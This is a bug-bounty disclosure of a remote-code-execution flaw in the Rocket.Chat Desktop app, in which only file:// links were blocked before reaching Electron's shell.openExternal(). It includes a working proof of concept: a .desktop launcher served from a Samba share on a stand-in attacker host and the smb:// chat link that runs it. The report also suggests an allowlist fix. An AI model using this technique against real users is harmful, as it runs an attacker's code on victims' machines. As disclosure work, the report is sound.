Insecure use of shell.openExternal() in Rocket.Chat Desktop App leading to RCE
The Rocket.Chat Desktop app passed clicked links to Electron's shell.openExternal() with only a blocklist that filtered file:// URLs. An attacker could send a link using another protocol such as smb:// to a malicious file, and when a victim clicked it, code from a remote share could run on the victim's system.
- Triaged in 6 hours
- Fixed in 18 months
- Disclosed after 2.0 years
Summary: The Rocket.Chat Desktop app passes the links users click on to Electron's shell.openExternal() function which can lead to remote code execution.
Description: The filtering on the URLs passed to shell.openExternal() is insufficient. An attacker can craft and send a link that when clicked will cause malicious code from a remote origin to be executed on the user's system. The specific attack presented here has been tested with Xubuntu 20.04, however similar attacks are also possible on other systems, including non-Linux operating systems.
Releases Affected:
- Tested with latest release 2.17.10 from https://github.com/RocketChat/Rocket.Chat.Electron/releases
- Tested with latest commit
4c06582on thedevelopbranch from https://github.com/RocketChat/Rocket.Chat.Electron
Steps To Reproduce (from initial installation to vulnerability):
-
Install Rocket.Chat Desktop on Xubuntu 20.04.
-
Login and join a channel.
-
Setup a public Samba server (at
attacker.tldin this example) and create a public share (namedpublichere). In this share, publish the following file aspwn.desktopand make it executable:INI
[Desktop Entry]
Exec=bash -c "(mate-calc &); xmessage \"Hello from Electron.\""
Type=Application
```
- From another account in the same channel, send the following message with the corresponding values replaced:
smb://attacker.tld/public/pwn.desktop - Click the link and (if necessary) confirm starting the untrusted launcher.
- Notice the calculator and message box appearing, confirming remote code execution.
Supporting Material/References:
- I have attached a video of the attack to the report.
Suggested mitigation
- The problem is in the filter for local file paths in the preload scripts that sets up the link handler here: https://github.com/RocketChat/Rocket.Chat.Electron/blob/4c06582ba3021fcf10e6230286231d50e26e2723/src/preload/links.js#L24
- The filter only acts as a blocklist, filtering out
file://links. There are however plenty of other protocols depending on the system, likesmb://as shown here. Therefore, only an allowlist can successfully prevent attacks here. Usually, allowinghttp://,https://andmailto:will be enough but you may have different requirements.
Best Regards,
Benjamin Altpeter
Technical University of Braunschweig, Germany
Impact
- The attack can be triggered remotely by an attacker by simply sending a message to a channel.
- The particular attack presented here requires user interaction. The user has to click the link (which is not obfuscated) and potentially confirm launching the executable. The last part may not be necessary depending on the particular attack vector and system the user runs.
- This particular presented attack only works on certain Linux distributions. However, this is only due to the particular attack payload used (a Linux
.desktopfile accessed over Samba). Similar payloads will also work on other Linux distributions as well as Windows and macOS. The Electron documentation explicitly warns against usingshell.openExternal()with untrusted content: https://www.electronjs.org/docs/tutorial/security#14-do-not-use-openexternal-with-untrusted-content - If the attack is executed successfully, the attacker can run arbitrary code on the user's system.
- Patching the problem is simple and doesn't break any legitimate use cases that I can think of.
Attachments
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The link handler used a blocklist that only filtered file:// URLs instead of an allowlist of safe protocols, so other dangerous protocols like smb:// reached shell.openExternal().
Impact
An attacker could run arbitrary code on the victim's system, but the presented attack requires the victim to click the link and possibly confirm launching the file, and it only works on certain Linux distributions with the specific payload used.
What the attacker needed
Rocket.Chat Desktop app installed; Victim clicks a link in a chat message; Attacker controls a remote file share; Victim may need to confirm launching the file
The fix
The link handler should use an allowlist of safe protocols (such as http, https and mailto) instead of a blocklist.
How it was found
- Install Rocket.Chat Desktop on Xubuntu 20.04.
- Log in and join a channel.
- Set up a public Samba server with a public share containing an executable .desktop file.
- From another account in the same channel, send a message with an smb:// link to that file.
- Click the link and confirm starting the untrusted launcher if prompted.
- Observe the calculator and message box appear, confirming remote code execution.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The desktop app used a weak check that only blocked file:// links. Other link types, like smb://, were still allowed. An attacker could send a chat message with such a link; if you clicked it, your computer might run a file from the attacker's server.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.